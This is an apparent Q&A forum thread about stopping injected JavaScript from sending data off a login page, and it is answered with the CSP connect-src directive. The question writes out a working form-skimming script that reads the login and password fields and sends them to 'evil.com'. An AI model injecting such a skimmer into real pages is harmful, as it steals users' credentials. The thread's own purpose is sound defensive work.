0

Let's assume an attacker manages to inject this script in a login page:

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    fetch('evil.com/?login=' + login + '&password=' + password);
}

Is it possible to prevent the request ? Same Origin Policy doesn't seem to support such restriction.

Maybe a whitelist similar to the one from Content Security Policy ?

1

The Content-Security-Policy connect-src directive is what you are after. This directive restricts what hosts the fetch method can send requests to.

Here is a minimal proof of concept:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="connect-src 'self'">
</head>
<body>
  <script>fetch('https://evil.com');</script>
</body>
</html>

The code above throws the following warning:

Refused to connect to 'https://evil.com/' because it violates the document's Content Security Policy.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.